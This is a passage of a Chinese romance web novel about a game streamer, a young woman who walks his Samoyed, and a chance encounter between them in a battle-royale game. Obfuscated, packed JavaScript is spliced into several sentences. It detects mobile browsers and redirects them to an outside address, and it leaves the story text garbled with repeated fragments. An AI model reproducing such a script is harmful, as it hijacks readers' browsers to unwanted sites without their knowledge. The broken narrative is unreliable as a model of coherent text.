还有一句是一小时前的:“……真不要了?那我可把你弟偷回家了,以后改姓姜了。” 应之珏赶紧回复:“太对不起了,我不知道该怎么解释该怎么道歉才好了,我是真忙忘了,你现在还在公园吗?” 姜满没故意晾他,看见便秒回了:“知道你应该是忙起来了。不过你不用担心,应之王已经在我家过上日子了。” 她抬眼看看远处逗着应之珏玩的父母,笑了——这可是她和父母相处时难得没有争吵、其乐融融的景象。 当时她和应之王绕着公园走了一圈又一圈,联系不上应之珏,说实话,是有点生气的。自己幻想中的双人浪漫遛狗之旅并没有实现也就算了,现在连一句话也不回了,什么意思? 应之王像是感受到了她的焦躁,把头搭在她坐在长椅上的双腿上。 姜满刚想因为太热而驱赶它移开,看见它黑漆漆水灵灵的圆眼睛,又说不出来一句重话了。 “你哥不要你了,跟我回家怎么样?” 姜满不想再干等着,公园里蚊子可不少,再加上她和父母住在一起是有门禁的,不能太晚回去,于是她便牵着应之王回了自己家。 应之珏步伐慢下来。 还好,还好她没有一直在外面傻等着,不然他要愧疚死了。 “那你问问它,还想回家不?要是想,他哥就努力多搞点赎金给它赎回来。要是不想……” 姜满一下子就上钩了:“它说不想!让你明天再接它。” 应之珏勾起嘴角:“你问了吗?是你不想,还是它不想。” “我问啦!它说你这么没有责任心,它还是更喜欢这个姐姐一点。” “哦哟,那哥哥真是白对你好了,没良心的应之王。”应之珏装作痛心的样子。实则只有他自己知道,它和这只萨摩耶认识的时间也不过就比姜满多上几个小时而已。 “好了,不和你开玩笑了,”姜满见好就收,“今天不早了,你也别跑一趟了,明天晚上我给你安安全全地送回去。” “放心,没有赎金也不会把它大卸八块的。这个毛量和肉量,找不到可以入刀的骨头缝隙在哪儿。” 姜满最后的这句俏皮话又把应之珏逗乐了。 好像自己说什么话对方也能接上,纵横直播界数年的应之珏第一次有了高山流水遇知音的感觉。 他转身到家,打算随便冲盒泡面垫垫肚子然后继续直播,手却在移动姜满还回来的饭盒时发现了不对劲——怎么用手推还有点阻力呢,好像里面还有东西一样。 他顺手打开,却发现里面是整整齐齐、方方正正的哈密瓜果切夹着干噎酸奶,上面还淋着百香果酱。 应之珏没怎么吃过这种漂亮精致的小甜点。他拍了张照发给姜满,“这是应之王卖出的价格吗?” 姜满突然想起来自己白天忘跟他说里面有东西了,幸好她放了冰袋,幸好应之珏自己发现了,不然再过一晚上大概率就坏掉了,到时候应之珏再打开就是腐烂的一滩果泥了。 太恐怖了,还人家一饭盒厨余垃圾,不得被砍死! “这是我做的,礼尚往来!饭盒就是用来装吃的啊,怎么能空着回去呢?” 应之珏用叉子把其中一块送入口中,居然还是冰冰凉凉的。哈密瓜很甜,很有水分,而干噎酸奶的酸和固体质感又进行了很好的中和,再加上别具风味的百香果酱,又把口感丰富了。 “谢谢你,很好吃,我笑纳了。”没一会儿,应之珏又拍了张一扫而空的饭盒回过去。 姜满冲着和应之珏的聊天框开始傻笑。 姜父姜母总是说她爱瞎做糟蹋粮食,再怎么劝说这真的很好吃,这两位也是勉强给个面子小吃一口就扭头去吃自己平常吃的,美其名曰你喜欢你就自己吃吧。 第一次,第一次有陌生人会肯定道很好吃,会全部吃完。 应之王好奇地凑近屏幕,想知道姜满为何忽然把手盖在脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564600|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又透过指缝悄悄看着消息,生怕被谁发现一样。 可惜应之王的脚步虽然缓慢,但是沉重啊! “怎么,你也想吃?不过小狗狗应该不能吃吧,对你消化不好。”姜满躺在床上,察觉到它来了,边滚到床边,和它碰了碰脑袋。 姜满家没有狗窝,于是姜母找了个姜满幼儿园时用的被褥铺在地上,当做应之王今晚临时的住所。 姜满看着应之王庞大的身子一趴下便笼盖了整个小被褥,顾头不顾腚,总有落在地板上的部分,于心不忍,便托着它的腚助力它登上了自己也并不宽大的一米八小床——抱是抱不上来的。 应之王一上来,姜满赶紧又把空调温度调低了几度,毕竟这是个会发热的天然大毛毯,要想晚上不会不知不觉地被热死,还是得提前做好些准备防患于未然的。 “晚安,应之王。”姜满抱着这个大毛绒玩具,感觉好幸福。 她本以为自己回家之后,会先因为脱离了同龄人的集体生活而怅然若失一段时间,没想到这场意外恰恰没给她留下太多胡思乱想的机会,还让她抱上了从小到大都心心念念但是家里不让养的大狗。 次日是周六,应之珏父母又没打招呼来到了应之珏家。虽然从小到大对应之珏都是散养模式,但做家长的哪有不挂念孩子的,尤其是这种吃了上顿不知道准备下顿的,还是常来监督一下才放心。 一进门果然没有引起任何动静,应之珏还在睡。应母想叫他却被应父拦住了:“你说你吵他干啥,让孩子睡吧。” 应母收回手,“我才不是要叫他,小玉爱怎么样就怎么样吧,我是想看看我们家二宝吃没吃饭。” 应父扫视一圈,确实没有应之王的踪迹,连狗窝都不见了,想必是被应之珏放到自己卧室了。 “那好,”应父没再拦她,“把小王叫出来吃饭吧。” 两人打开门,想悄悄引应之王出来,却怎么也找不到它。 应母一下就急了,她猛地按下开关,把应之珏的卧室点亮,大喊起来:“应之珏你把你弟弟弄哪去了!” 应之珏身体一震,他还以为自己穿越到了刺激战场,敌人已接近身侧他却还没找到武器——应母踹了他一脚,把他给踹清醒了。 应之珏头发搭在额前,把眼睛遮住了大半,他迷迷糊糊不满地抗议:“干啥啊。” “你还问我干啥,应之珏,你弟弟呢!” 被一向爱叫他“小玉”的母亲直呼其名,应之珏顿感事态不妙。他赶紧解释:“我昨天让别人帮忙遛,忘去领回来了,太晚了就先放人家家里了,今天带回来。” 应母听罢平复了不少,但还是对应之珏的做法感到气愤:本来把应之王带过来就是为了给应之珏个由头多活动活动的,他倒好,当上甩手掌柜了。 “不行,以后你必须亲自遛,每天都要给我拍视频。自己家的孩子,托付给别人算怎么回事!你倒也真是放心。” “应之王在别人家过得不比在我们家差好吗。” 应之珏拿起手机找昨天姜满给他发的视频,想以此来证明。 应父应母看着他展示手机屏幕上播放的视频,是一个人一手拿着手机在录,另一只手用梳子耐心地梳开应之王身上的死结。应之王也配合得很,乖乖的坐在那里一动一动也不动,直到最后才仰起头来笑了笑,还贴了上来,伴随着女孩“是不是好萌吧!”的声音,视频戛然而止。 应母迅速捕捉到了要点:女孩子的声音。 她家小玉成天打游戏,什么时候认识到的女生啊! 5. 训狗 改——抢食贪食 应之珏无奈地叹了口气。 “这就是被你家好二宝撞倒的那个姑娘,她很喜欢应之王,正好也住在附近,我就让她帮忙了。” 应母笑笑,没再追问,不过留下了告诫:“人家小姑娘喜欢是人家的事,但是我们作为主人,遛狗是我们的义务,你不能因为她说喜欢就觉得理所应当了。” 应之珏一向很听劝,他觉得母亲说的有道理,于是应下:“是。妈你说的对,她要是想见应之王,我就和她一块遛。” 应父顺水推舟:“小玉做事有分寸的,不是听不进去的。”他把目光从应母转移到应之珏身上,“对吧小玉?爸爸看你这头发是不是有点长了,大夏天的这么热,咱去剪个寸头凉快凉快。” 应母附和道:“对啊小玉,精神精神。” 应之珏赶紧双手捂住自己的头发向后逃去,“我是在游戏里当兵,又不是要在现实中当!应之王毛可比我长多了,你们怎么不给它剪个寸头呢。” 他用手指给自己顺了顺毛,起身赶父母:“您二老好不容易有个周末,赶紧回家休息吧,放心就行了,我和二胎一切都好。” 送走父母后,应之珏本想再补会觉,脑中却下意识想起昨晚秒下直播后,后台因为不满他这两天的直播迟到而发送来的几条私信: “你凭什么连着迟到两天,观众就是上帝你不知道吗?” “余地你真是忘本” “赚钱赚够了就变成这德行了是吗?” ……他不知道这些号的皮下是不是同一个人,但是这样被说确实让他这种大心脏也有些难受。应之珏不由得怀疑,自己是做了什么遭天谴的事情了吗,为什么会被这样追着骂。 不过他就是喜欢“自虐”,索性把近期遗漏的私信全看了一遍。 不看不知道,一看吓一跳——竟然还有好多漏胸漏腿的私密照,上面还附着联络方式。 应之珏扶额。 他是个有正常生理欲望的男性没错,可看到这些只觉得深深的生理不适感。 他一个游戏主播,不露脸,甚至连手都不露,哪来这么多人要害他!吓都要吓死了,隔着屏幕难道就可以如此为所欲为性骚扰了吗。 应之珏之前不常看私信就是因为怕看到这种东西,要是再手滑误点更是说不清了。 ——还记得他因为偷了另一位当时的顶流大主播的背身而备受关注之时,有人后台私信给他发了那种意味不明的图片。当时他初出茅庐不知人心险恶,还喜欢给粉丝解答一些游戏技巧方面的问题,于是毫无防备地点了进去。没想到映入眼帘的是极具冲击力的色情图片,其上是露骨引诱的话语。 他点进去,这条消息变成了已读。对面用这张截图把他给挂了,说他就是个以游戏为幌头的猥琐男,哪怕他没有回复任何话,大家也大都明事理,没觉得哥哥不留余地有什么问题,可他还是被有些不明真相的吃瓜群众骂了很久。 你知道的,这种会引起对立的议题,很多人都不愿意去探查真相,只是想一味地输出自己的观点。 自那之后,应之珏虽然没有关闭私信功能,但是基本上不会再点开。 一朝被蛇咬,十年怕井绳。本以为互联网法律完善之后会有所遏制,但现在看来,难免还是有漏网之鱼。 这些没有营养的消息看得他头疼,刚想放下手机,却收到了“绑架犯”姜满发来的视频:应之王乖乖地坐在地上,面前是个大不锈钢盆,里面以面条打底,其上整齐的码放着水煮的西兰花和对半切开的鸡蛋,两大块儿鸡胸肉,还有几小块儿贝贝南瓜点缀着。这一大碗色香味俱全,而且并没有因为是小狗吃的饭,就把食材随便一扔,而是很用心地摆好。 应之王吐着长舌头,大尾巴像扫帚一样,扫来扫去。不过在没有听到指令之前,依旧没有任何动作,只是难耐地看看饭,又抬头看看镜头,又看看饭。 直到姜满点点头:“乖狗狗,吃吧!”它才把头扑进盆里大快朵颐起来。 姜满跟应之珏说:“我家没有狗粮,就按照我吃的给他配了点。特地给你过目!你放心,没有加什么油盐。其实应之王很聪明的!教一教,它就明白怎么控制住自己肚子里的馋虫了。” 应之珏看着应之王哼哧哼哧吃得喷香的样子,嘴角扬起好看的弧度,刚刚的烦恼也消失地无影无踪了。 “这不比狗粮香多了?你都把它养的乐不思蜀了,怎么办?” “我也舍不得它呢。”姜满回复。“对了,你今天还忙吗?要不要我把它送到家里?” 应之珏想了想,今晚直播没有什么联动安排,他可以依照往常的时间,九点再开播。 “不忙,我去公园接它。你要是愿意,今晚也可以和我一起遛遛它。” 七点半,两人一狗如约相见。 应之珏接过姜满手中的牵引绳,开始围着公园绕圈。 第一圈,两人没说话,只是感受着盛夏的晚风吹在脸上,吹起两人的发丝,也吹起应之王最外层飘逸的细软白毛。 第二圈,还是没人说话,姜满背着手,故意走慢了一步,和应之珏从并肩变成了前后错开。她就这样斜着眼睛偷偷观察着他,想从中看出他是一个什么样的人,开始猜他的职业和年龄。 到了第三圈,应之王突然发现前方来了只撅着屁股走的小柯基,它显然是还没有学会如何压抑自己想要和同类做朋友的激动,兴奋地冲上前去。 应之珏赶紧拽住牵引绳握把,姜满见状也生怕惨剧再度发生,想也没想就上手抓住握把,帮应之珏控制住了这只过分热情横冲直撞的大狗。 可是握把是环状的,本就是按照成年人一个手掌略大的尺寸设计的。姜满反应过来时,发现自己两只手都硬生生的覆盖在了应之珏骨节分明的大手上。 姜满像触电一样赶紧松开,应之珏也别过头去,不好意思和她对视。女孩子的手软软热热的……整日和手机这硬邦邦的物件作伴的应之珏一时缓不过神来。 只有应之王不知道发生了什么,被拽了一下回过头来,愤愤不平的望着两人,似乎是在问为什么阻止它交朋友。 “……那个,时候也不早了,我带它回去了。”应之珏不自然地把手放在后脑勺上,和姜满告别。 “嗯嗯好。”姜满也局促起来,冲它们摆了摆手就离开了。 这晚的直播,应之珏频频失误——要么就是出枪晚了,要么就是开枪才发现没子弹,甚至还有一局太着急下车没等停稳,结果自己把自己给创死了……就这样五花八门地死了一晚上,一分没上反倒还掉了不少。 因为第一把匹配到了一个小姐姐,一直在惊叹应之珏的枪法,他拿了一个人头就要欢呼夸赞一番,所以有好事者调侃:哥哥不留余地这是被妹妹迷了心神啊。 ……才不是。 应之珏自己心里有数。从前又不是没有匹配到女生玩家过,打起游戏来也没什么区别,今天绝对不是因为匹配到的这个妹妹把他心神迷乱了。 至于其他的,他也说不清楚。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564601|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “等着哥明天在低分段炸鱼吧,建议你们明天都不要上号了,小心被我杀穿。” 应之珏拒不承认有任何情愫扰乱了他的竞技状态,淡淡地回怼弹幕老师,“急什么,区区几十分,一把就打回来了。” 应之珏熟练地关闭直播设备,躺在床上用指尖按压着眼眶,却感觉到一直有东西在拱它的床。 “……你干嘛?”应之珏和前爪扒在床边的应之王面面相觑。 应之王竖起像小狐狸一般的耳朵,眨巴着眼睛哼唧着。 应之珏心下了然:“……你不会是想上床吧。过了一天好日子就给你惯出毛病来了?去去去,我可不想我床上一堆你的狗毛。” 他边说边想姜满那姑娘是真喜欢应之王,先前被它撞了还能不计前嫌地和它同床共枕。 ……等等,应之王现在争着吵着要上床还好办,赶走就是了,万一跟着姜满待了这一天,嘴养刁了,不吃狗粮了可咋办。 他预测的没错。 第二天应之王果然对着装满狗粮的饭碗无动于衷。应之珏添了几块冻干引诱,应之王也只是把冻干挑出来吃掉了。 应之珏没招了,点个外卖他俩一块吃好了。 他找出姜满昨天发的视频里的狗饭,照着荤素搭配给应之王点了碗不加麻不加辣甚至不要骨汤只要过水的麻辣烫。 但他没发现自己翻聊天记录的时候,无意识拍了拍姜满的头像。 应之珏这人就是这样,打游戏的时候动态视力极其灵敏,到了生活中注意力便发散,要不是有意识地集中,很难察觉到一些细微的变化。 姜满:? 她看微信的时候突然发现和应之珏的对话框跑到了上面,但是没有消息提示。 等了一会儿对方也没有下文。 姜满害怕他是出了什么事,比如说晕倒啊之类的误碰到了手机,回了条消息询问:“有什么事吗?” 应之珏正刷着短视频和应之王一起美滋滋地吃着外卖呢,一看姜满的消息也愣住了,什么什么事。 点开才发现是自己招惹在先。赶紧放下筷子双手打字:“对不起啊我手滑了,刚刚想看看你给应之王做的饭,模仿一下来着。” 姜满笑笑,看来应之王已经被自己的简单小狗饭折服了,心中不免有些得意。 “有什么对不起的,这两天你都说了多少次对不起了,下次直接问我就好,它爱吃我就爱做。” 应之珏只当姜满是在客气,没想到她是真心实意的。 而姜满见应之珏后来没再问过她,也以为两人的缘分就到这了,没打算刻意地去和他多了解。毕竟就见过这几面,还是异性,连人家有没有对象都不知道,再继续没有边界感的主动就不大好了。 所以两人的微信对话框越来越靠下。 应之珏开始习惯每天陪着应之王在草地上撒欢儿,尽管常常跑出一身汗来,但是回家冲个澡反而更精神了,有氧运动使他更有活力,连晚上直播的时候脑子都转地更快了些,一分钟能爆出十个梗来,切片满天飞,哥哥不留余地的名号越来越响,又给他涨了不少粉。 姜满身上的淤青也在慢慢变淡。这些日子她在很认真的想自己究竟擅长什么、热爱什么,怎么样才能把这休学的一年利用起来而不是浮于表面的短暂停滞。她不是一定要做出些什么成果来,只是想等到再次回到相同的环境中,能有自己独立的勇气和顿顿都能吃得下、每晚都能睡个好觉的日常,不再被那股“紧绷感”所困扰。 6. 反杀 又是一个周末,姜满被父母叫醒,说晚上要去舅舅家一起吃个饭。 姜满不想去——这场聚餐中唯一的同龄人就是她的表弟,刚上初中,完全就是一个没开智的小孩,她和他说不到一块去。 “去吧满满,舅妈知道你回家了,特地给你定了你上次说好吃的那家甜品,一会儿就要送到了,你不去多不好呀。” 姜满想了想,那家甜品的确很美味,而且不提前预定的话很难抢到,说实话有点馋了,而且话都这么说了,是为了她“特地”的,这下不去也得去了。 到了舅舅家,大人们都挤进了厨房,争相做起自己的拿手菜来。 姜满无聊,于是便想看看表弟在干啥。 小男孩本来还在啃着笔头在作业本上鬼画符,看见家里来人了,更是无心坐在书桌前。他瞅瞅厨房内忙作一团的家长们,冲姜满使了个眼色,鬼鬼祟祟地说:“姐,你手机上有没有吃鸡,我用你手机登我号上线领领东西。” “有倒是有。” 姜满曾经有一段时间疯狂痴迷吃鸡手游,和小姐妹从早打到晚。虽说长期奋战并没有使她的水平得到多么高的提升,但是玩游戏不就图个开心嘛,她倒也不是很在乎有没有苟到最后。 “但是我有段时间没玩了,估计得不少更新。要不你吃完饭再玩,正好现在把你作业写完了。” 姜满都不用掐指一算,就知道这小子肯定是因为手机被没收了,于是逮住机会寻求外援。 她才不想给他垫背呢,舅舅舅妈定下的规矩就是写完作业才能玩,她可没这个资格给表弟破了这个戒。 男孩的心思藏不住,全暴露在表情里了。 他撅撅嘴,“好吧,那你要先更新上哦,吃完晚饭一定让我玩。” “行行行,你安心写作业。”姜满给他展示了屏幕上“资源正在编译中……”的页面,表弟才允许她离开他的房间。 七点半了,才只上了一半的菜,姜满着实有些饿了。 舅妈出来端菜的时候一下子就发现了姜满眼巴巴的模样,于是从冰箱拿出她心心念念的甜点来招呼她:“来,满满,把这个先拿过去吃垫垫肚子,等会饭菜就上齐啦。” “谢谢舅妈。”姜满笑得露出了两边的小虎牙。 她先尝了一口抹茶千层,浓郁的抹茶立刻席卷了她的整个口腔,奶油一尝就是纯动物的,一抿就化开了,湿湿润润的一点也不干巴。 不过她最喜欢的就是千层的皮了,不管是单吃还是层层叠叠地咀嚼都很好吃。 尝完这个又忍不住拿了个小虎皮卷吃。 这个虎皮卷不大,一盒能装三个,半个手掌大小,里面裹满了芋泥,最中心夹着的是一块黏黏糯糯的麻薯条,最外层还沾满了肉松,又是她最爱的甜咸永动搭配。 姜母端着菜出来,见她吃得香不忘提醒:“满满少吃点,给弟弟留点。而且你现在吃饱了一会又该吃不下正餐了。” 时针过了八点,终于开餐了。众人围坐一团,大人们聊着天,姜满和表弟就只顾着吃。 吃了一会,表弟用胳膊肘撞了撞她,在餐桌下把手伸了过来。 姜满差点没忍住笑。 这小子为了玩游戏真是用尽十八般武艺了。她就当顺水推舟送他个人情了,于是也没跟舅舅舅妈报备,解开锁就递给了表弟。 表弟一拿到手机便向餐桌上众人宣称自己已经吃饱了,一溜烟就撤离了。 事情并无波澜,直到大家都吃完饭,收拾完卫生后,舅妈才发现了表弟没经过允许就开始打游戏。 “说了写完作业再玩写完作业再玩,”舅妈翻着书桌上姜满表弟的作业本,气得不行,“你这不是还没写完呢,就把姐姐手机骗过来玩!” 她把手机从他手里夺过来还给姜满,全然不顾表弟的哀嚎:“我刚开的一局,别挂机,别挂机啊,姐你帮我打完啊不然要掉好多分啊!” 伴随着卧室门被“轰”的一声关上,姜满知道,再看见他,只能是他写完作业后了。 ……没时间为他的可怜表示哀悼,姜满看着手中正在跳伞的特种兵,于心不忍。 好吧,姐给你玩完。 姜满也是个网瘾少女,初中开始,放了学就和好姐妹郝瞳一起打吃鸡,遇上寒暑假更是要打个昏天黑地,也不为了冲击什么排位,就是回归游戏最本质的游乐属性,在枪战中一紧张,便可以逃避现实的烦恼。 不过很快她便发现了不对劲——表弟的账号段位比她高了两个档,这是战神局啊!她苟在角落,四周都是脚步声,不敢动弹。 可一直躲着也不是回事儿,于是她试探性地站起了身,结果屏幕上突然显示: “你击败了淘汰王。” 姜满:?我只是站了起来,连枪都没拿,难道是用意念杀的人? …… 另一边的淘汰王本人简直要郁闷死了。 应之珏发现了那个背对着窗户的玩家,要么是人机要么是新手,于是起了玩心。 “弟弟妹妹们看哈,这一看就是没有意识的,以为躲在了死角实则还是漏了背身。正好,哥哥这次展示怎么捏瞬爆雷,吓他个措手不及。” 他看准时机,把手榴弹扔了出去,却没想到那人突然站了起来,背后的平底锅正好抵挡住了手榴弹,把它反弹了回来。 由于是掐着秒的,应之珏完全没有反应过来,完全没有躲避的机会,直接就被炸死了。 应之珏:?演我呢,难道这是高手? 直播间也被这一奇观亮瞎了双眼,满屏的“哈哈哈哈哈哈哈”。 有的说:“哥哥今天又不留余地了吗?原来留的是自己的骨灰盒!” 有的说:“到底谁才是人机啊。” 由于两人均处在复活区域,游戏的机制是在这个区域被淘汰的话,都是有一次复活机会的。应之珏不服,第二条命跳下飞机便直奔刚刚的放弃,降落的途中还不忘放出狠话:“高手不玩第一条命,你们懂不懂。” 应之珏再回到这个房子,姜满已跑上二楼观察情况。他见找不到她,于是翻窗进屋。 姜满听见了脚步声,猜到大抵是楼下来人了,她卡在楼梯口想杀他一个措手不及,可是这点小心思怎么能不被久经战场的应之珏发现呢。 应之珏早就做好了充足的准备,打着提前枪上楼,火力猛猛,姜满还没看清楚瞄准呢,就已经化为了一个四四方方的小木盒子。 ……第二条命她可不敢再往那边跑了,为了表弟的分,她苟! 姜满落地找了个圈内的边角打野,备好药品后便随着缩圈缓慢爬行,还把表弟装扮的花里胡哨闪着特效的外衣都脱了——她这个水平,实在是不适合招摇过市,太显摆的结果只能是被人当成移动的活靶子。 或许是她运气好,触发了许久未玩的老玩家回归福利,进圈的路上竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564602|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的没遇到什么人。 姜满就这么顶着误杀的一个人头挺进了决赛圈,继续坐山观虎斗,坐等渔翁之利。 前方激烈的枪声催地姜满心跳随之怦怦狂跳,左边的淘汰栏不断刷新着: “哥哥不留余地用SVD击倒了被峰宠一世” “哥哥不留余地用SVD淘汰了欣欣我罩着” “哥哥不留余地用Groza淘汰了无敌暴龙” …… 姜满被吓得一动不敢动,生怕手微微一抖让游戏里的人物动了一下,便成了这淘汰王枪下的下一个冤魂。 她这把是真吸圈,决赛圈正正好好套在了她的头上。她换好弹,准备垂死挣扎一下,却猛然发现剩余人数的框框里不知何时变成了“2”。 ——这不就意味着,这被圈画的小小地图里只剩下她和淘汰王两人了? 姜满右眼皮狂跳起来,不要啊,她害怕。 其实游戏人数刚降到“2”的时候,应之珏就在房顶用八倍镜瞄准了躲在树后草丛里趴平的她。不过由于她脱了一开始的闪耀装扮,应之珏并没有认出来她,只是觉得这个人的白衬衫初始装扮大概率就是个小人机,于是起了玩心,想调戏调戏他。 “我说,战神局都有人机来凑数了吗?不过能活到现在,也算他命大了。” 应之珏用八倍镜观察着她一直紧张地哐哐哐喝能量饮料补能量条,又乐了。 “怎么,想和哥哥拼药吗?” 弹幕一片劝告声: “哥你今天怎么开始留有余地了?” “别浪了,一会再被反杀了。” 还有开始拿小本本记他的偏好的: “记住了,穿人机装喝药会在余地哥手下多存活几秒。” 应之珏就这样一直看着这个小人的一举一动,直到缩圈倒计时,他才故意打了一枪,打在姜满躲着的那棵树的树干上。 姜满浑身一抖——自己被发现了? 赶紧换上枪开镜,在各处寻找敌人的踪迹。 开着四倍镜晃晃悠悠一圈,怎么也找不到人,却被对面调戏了一通:应之珏一会儿往她面前草地上打一枪,一会儿擦着她耳边去一枪,最后又给她修了修脚。 “一枪脚没倒,看来是没有甲沟炎。” 应之珏笑笑,眼瞅着毒圈就要缩过来,他决定不再恋战,还急着再开下一把呢,于是他盯住姜满的脑瓜,一枪把她送走了。 “嗯?这个ID……” 应之珏看着淘汰栏显示的: “哥哥不留余地淘汰了燃” 不由得笑出了声。 不用弹幕提醒,他记着呢,这就是把他第一条命给意外打没的神人。 “……还是个单字极品ID呢。”应之珏调侃道。 照平常人,可能就直接退出游戏,或者是心里憋着一股气,所以会对着最后一个人的箱子鞭尸。 应之珏不一样,他没有这么平淡,也没有这么激进,深谙中庸之道。 他从房子里跳出来,来到姜满的小盒子前,把盒子扛到了肩上。 姜满:? 她还没缓过神来呢,就被自动切换到了敌人的视角,于是她便看到了哥哥不留余地把她扛起来走了两圈。 姜满感到一股深深的被侮辱感。 傻子都能明白敌人早就发现自己了,只不过把自己当狗耍着玩呢!连死了都不放过! 7. 封号 她又气又想笑,给这个场景截了个屏,发到朋友圈里:“用初中生的号误入了战神局。好消息,苟到了第二。坏消息,被当成狗耍了。” 先前经常和她一起玩的郝瞳火速赶来声援:“气不过吗姐妹!实在不行点个举报试试呢。” 诶?有道理——万一对面真是开挂了呢,这样不就把他给制裁了,也泄愤了;要是他问心无愧,姜满的举报也起不到什么作用。 说干就干。 姜满动动小手为“哥哥不留余地”送上一个举报后,天色也不早了,便跟着父母回家了。 这边应之珏马不停蹄又开了第二把。 很顺利,又吃鸡了。 “我上把被单杀的一次只是失误罢了,今晚剩下的时间都看我一命杀穿整个海岛吧。” 第三局,他一如既往地追着人打,没出十分钟又成了首位淘汰王。 “常规操作,简简单……” 应之珏最后一个“单”字还没说完,画面却突然卡住了——“您的账号在游戏对局中有违规操作,封禁二十四小时。”然后便被强制退出了对局。 直播间扣了满屏的问号混合着大笑。 “哥,叫你不留余地,现在好了,官方也没给你留余地啊。” 应之珏真没招了,大吐苦水:“打得好也要被质疑是开挂了吗。老天你开开眼啊。” 给他封了整整一天,这一天他能干啥?就算是提交了申诉,批下来也不知道猴年马月了,最好的结果也就是不伤号,他这一天的时间可换不回来啊。 他看了看表,十点半,直播才属于刚刚开始的阶段。 ……唉,没招了,漫漫长夜,再播点什么好呢? 实在想不出来,于是便开始征集直播间家人们的意见:“好吧,今天特殊情况,也不知道这个游戏抽什么风了。趁着这个机会,你们想让我播点什么除了吃鸡以外的,哥哥可以满足你们了。” 弹幕刷的很快: “想听哥哥唱歌” “学个手势舞跳” “聊聊天分享一下生活” …… 很多建议,无非都是想多了解了解他。 他一个一个地看,不放过任何一条,都作出了回应:“唱歌吗?我五音不全啊,怕你们听出毛病来再找我事。什么什么手势舞,你哥我不搞这种,要开摄像头的一律out。分享生活……这个可以。” 应之珏除了这个直播平台以外,没有在其它任何社交平台开设相关账号。这点他和其他游戏主播都不一样,他不想被过多地干涉到自己的私生活,所以从一开始就把个人信息藏得严严实实的,大家也不大能知道他除了直播以外都做些什么。 “最近我养了一只小狗。不对,其实是一只超级大狗。但它比较可爱,所以我才会口误说它是小狗……” 应之珏看了看此刻虽然不知道他在做什么,但是仍在他身边乖乖陪着的应之王,声音里都带上了笑意。 “虽然它刚到家里有些蠢,会惹麻烦,但是有它在,我的生活好像添了一些……活力?我不知道怎么说是准确的,反正自己好像变年轻了。” 弹幕一水的:“哥你本来就不老”。 应之珏觉得直播间家人们虽然整天和他互怼,但是有的时候还是很暖心很宠着他的,这可能也是支撑着他一直走过来,这么多年几乎毫无断播的原因之一——不是为了圈钱,而是知道每天都有人在等着他开播。 “行了行了,”应之珏不好意思地摸了摸脸,“年轻是因为有款游戏越打越年轻,不过现在这游戏也不让我玩了。唉,真是看错人了,白枉我这么多年来对它忠心耿耿。” 应之珏话很密,主要是因为直播间不断有新鲜的话题抛过来。他聊得已经不知天地为何物了,再一看时间已经到了半夜十二点。 平日里这个点他绝对不会下播,可是今天没有游戏的加持,多少有点干巴。 “好了孩子们,今天就聊到这里吧,早点休息,明天我账号解封了就立刻给大家开播好不好?” 众人妥协:“好吧哥哥再见。” 应之珏拍拍床板示意应之王过来:“来吧应之王,今天陪你玩会再睡觉。让我搜搜有什么可以在家里和狗狗玩的小游戏。” 应之珏拿起冻干,往这边扔一个,又往那边扔一个,一人一狗玩的开心。由于应之珏因为直播需求,搬进来前就做好了全屋的隔音,所以就这么玩到半夜三更也没有邻居投诉。 “玩够了?” 应之珏看着跑出去大口喝水的应之王,估摸着它也该累了。 “那休息一会,陪哥哥刷会手机然后就睡觉吧。” 应之王听话地蹲坐在应之珏床头,应之珏右手拿着手机,左手揽着应之王的脖子,鬼使神差地点开了朋友圈。 应之珏的微信好友不多,大都是亲戚,再就是几个有时候会一起组车队的游戏主播同行,还有几个好友也因为各有各的工作联系少了起来,剩下的就是大学同学——不过毕业以后他已经删了一多半了。 朋友圈里没什么有意思的,同龄人大抵都在抱怨着工作,于是他很快便滑到了姜满发的那一条。 他扫了一眼那个截图,和他今天穿的一样的木乃伊套装,然后便往下继续看了。 ……等等,好像有点不对劲。 这个木乃伊怎么也扛着个淘汰的木盒? 他连忙又滑了回去,这ID一下子就对上了。 应之珏差点儿笑喷了。原来今天碰上的那神人是姜满啊,这也太巧了。 不能让人家白白把自己挂了,毕竟荣登了朋友圈被昭告天下,这怎么不算是一种认可呢? 应之珏这样想着,给她点了个赞,没再多说什么,终究没忍住,侧过头去开始狂笑,直到被应之王的长毛呛到有点喘不过气来了正过头来。 应之王不明所以,呆呆地看着笑红温的应之珏。 似是感受到了此狗不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 